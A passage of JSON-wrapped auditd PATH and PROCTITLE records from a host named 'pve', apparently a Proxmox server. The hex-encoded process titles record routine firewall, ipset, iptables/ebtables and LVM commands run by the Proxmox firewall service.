msg=audit(1781965745.920:66910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.969:67168): proctitle=69707365740073617665"} {"@timestamp":1781965745920,"@rawstring":"node=pve type=PATH msg=audit(1781965745.920:66910): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.958:67167): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965744544,"@rawstring":"node=pve type=PATH msg=audit(1781965744.544:66909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.949:67166): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965744544,"@rawstring":"node=pve type=PATH msg=audit(1781965744.544:66909): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.451:67165): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965744511,"@rawstring":"node=pve type=PATH msg=audit(1781965744.511:66908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.423:67164): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965744511,"@rawstring":"node=pve type=PATH msg=audit(1781965744.511:66908): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.377:67163): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744148,"@rawstring":"node=pve type=PATH msg=audit(1781965744.148:66907): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.377:67162): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744148,"@rawstring":"node=pve type=PATH msg=audit(1781965744.148:66907): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.376:67161): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744148,"@rawstring":"node=pve type=PATH msg=audit(1781965744.148:66906): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.366:67160): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744148,"@rawstring":"node=pve type=PATH msg=audit(1781965744.148:66905): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.366:67159): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744139,"@rawstring":"node=pve type=PATH msg=audit(1781965744.139:66904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965804.366:67158): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744139,"@rawstring":"node=pve type=PATH msg=audit(1781965744.139:66904): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965799360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965799.360:67157): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744139,"@rawstring":"node=pve type=PATH msg=audit(1781965744.139:66903): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965799360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965799.360:67156): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965744139,"@rawstring":"node=pve type=PATH msg=audit(1781965744.139:66902): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965799360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965799.360:67155): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965739132,"@rawstring":"node=pve type=PATH msg=audit(1781965739.132:66901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965799.352:67154): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965739132,"@rawstring":"node=pve type=PATH msg=audit(1781965739.132:66901): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965799.352:67153): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965739132,"@rawstring":"node=pve type=PATH msg=audit(1781965739.132:66900): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965799.352:67152): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965739132,"@rawstring":"node=pve type=PATH msg=audit(1781965739.132:66899): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.938:67151): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965739124,"@rawstring":"node=pve type=PATH msg=audit(1781965739.124:66898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.934:67150): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965739124,"@rawstring":"node=pve type=PATH msg=audit(1781965739.124:66898): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795933,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.933:67149): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965739124,"@rawstring":"node=pve type=PATH msg=audit(1781965739.124:66897): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795933,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.933:67148): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965739124,"@rawstring":"node=pve type=PATH msg=audit(1781965739.124:66896): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.926:67147): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965735908,"@rawstring":"node=pve type=PATH msg=audit(1781965735.908:66895): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.918:67146): proctitle=\"ip6tables-save\""} {"@timestamp":1781965735908,"@rawstring":"node=pve type=PATH msg=audit(1781965735.908:66895): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795909,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.909:67145): proctitle=\"iptables-save\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PATH msg=audit(1781965735.904:66894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.899:67144): proctitle=\"ip6tables-save\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PATH msg=audit(1781965735.904:66894): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.891:67143): proctitle=\"iptables-save\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PATH msg=audit(1781965735.904:66893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.888:67142): proctitle=\"ebtables-restore\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PATH msg=audit(1781965735.904:66893): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795885,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.885:67141): proctitle=\"ebtables-restore\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PATH msg=audit(1781965735.904:66892): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795879,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.879:67140): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965735899,"@rawstring":"node=pve type=PATH msg=audit(1781965735.899:66891): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.873:67139): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965735899,"@rawstring":"node=pve type=PATH msg=audit(1781965735.899:66891): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.866:67138): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965735899,"@rawstring":"node=pve type=PATH msg=audit(1781965735.899:66891): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795860,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.860:67137): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965735893,"@rawstring":"node=pve type=PATH msg=audit(1781965735.893:66890): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.854:67136): proctitle=697073657400726573746F7265"} {"@timestamp":1781965735893,"@rawstring":"node=pve type=PATH msg=audit(1781965735.893:66890): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.846:67135): proctitle=\"ip6tables-save\""} {"@timestamp":1781965735885,"@rawstring":"node=pve type=PATH msg=audit(1781965735.885:66889): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.838:67134): proctitle=\"iptables-save\""} {"@timestamp":1781965735885,"@rawstring":"node=pve type=PATH msg=audit(1781965735.885:66889): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.833:67133): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965735877,"@rawstring":"node=pve type=PATH msg=audit(1781965735.877:66888): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.828:67132): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965735877,"@rawstring":"node=pve type=PATH msg=audit(1781965735.877:66888): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.828:67131): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965735868,"@rawstring":"node=pve type=PATH msg=audit(1781965735.868:66887): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.828:67130): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965735868,"@rawstring":"node=pve type=PATH msg=audit(1781965735.868:66887): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.823:67129): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965735862,"@rawstring":"node=pve type=PATH msg=audit(1781965735.862:66885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795816,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.816:67128): proctitle=\"ip6tables-save\""} {"@timestamp":1781965735862,"@rawstring":"node=pve type=PATH msg=audit(1781965735.862:66885): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.807:67127): proctitle=\"iptables-save\""} {"@timestamp":1781965735855,"@rawstring":"node=pve type=PATH msg=audit(1781965735.855:66884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.802:67126): proctitle=69707365740073617665"} {"@timestamp":1781965735855,"@rawstring":"node=pve type=PATH msg=audit(1781965735.855:66884): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.791:67125): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965735847,"@rawstring":"node=pve type=PATH msg=audit(1781965735.847:66883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965795781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965795.781:67124): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965735847,"@rawstring":"node=pve type=PATH msg=audit(1781965735.847:66883): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.339:67123): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735840,"@rawstring":"node=pve type=PATH msg=audit(1781965735.840:66882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.339:67122): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735840,"@rawstring":"node=pve type=PATH msg=audit(1781965735.840:66882): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.339:67121): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735833,"@rawstring":"node=pve type=PATH msg=audit(1781965735.833:66881): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.324:67120): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735833,"@rawstring":"node=pve type=PATH msg=audit(1781965735.833:66881): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.324:67119): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735828,"@rawstring":"node=pve type=PATH msg=audit(1781965735.828:66880): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.324:67118): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735828,"@rawstring":"node=pve type=PATH msg=audit(1781965735.828:66880): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.309:67117): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965735819,"@rawstring":"node=pve type=PATH msg=audit(1781965735.819:66879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965794274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965794.274:67116): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965735819,"@rawstring":"node=pve type=PATH msg=audit(1781965735.819:66879): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965789.306:67115): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735812,"@rawstring":"node=pve type=PATH msg=audit(1781965735.812:66878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965789.306:67114): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735812,"@rawstring":"node=pve type=PATH msg=audit(1781965735.812:66878): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965789.306:67113): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735807,"@rawstring":"node=pve type=PATH msg=audit(1781965735.807:66877): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965789298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965789.298:67112): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735807,"@rawstring":"node=pve type=PATH msg=audit(1781965735.807:66877): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965789298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965789.298:67111): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965735804,"@rawstring":"node=pve type=PATH msg=audit(1781965735.804:66876): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965789298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965789.298:67110): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} 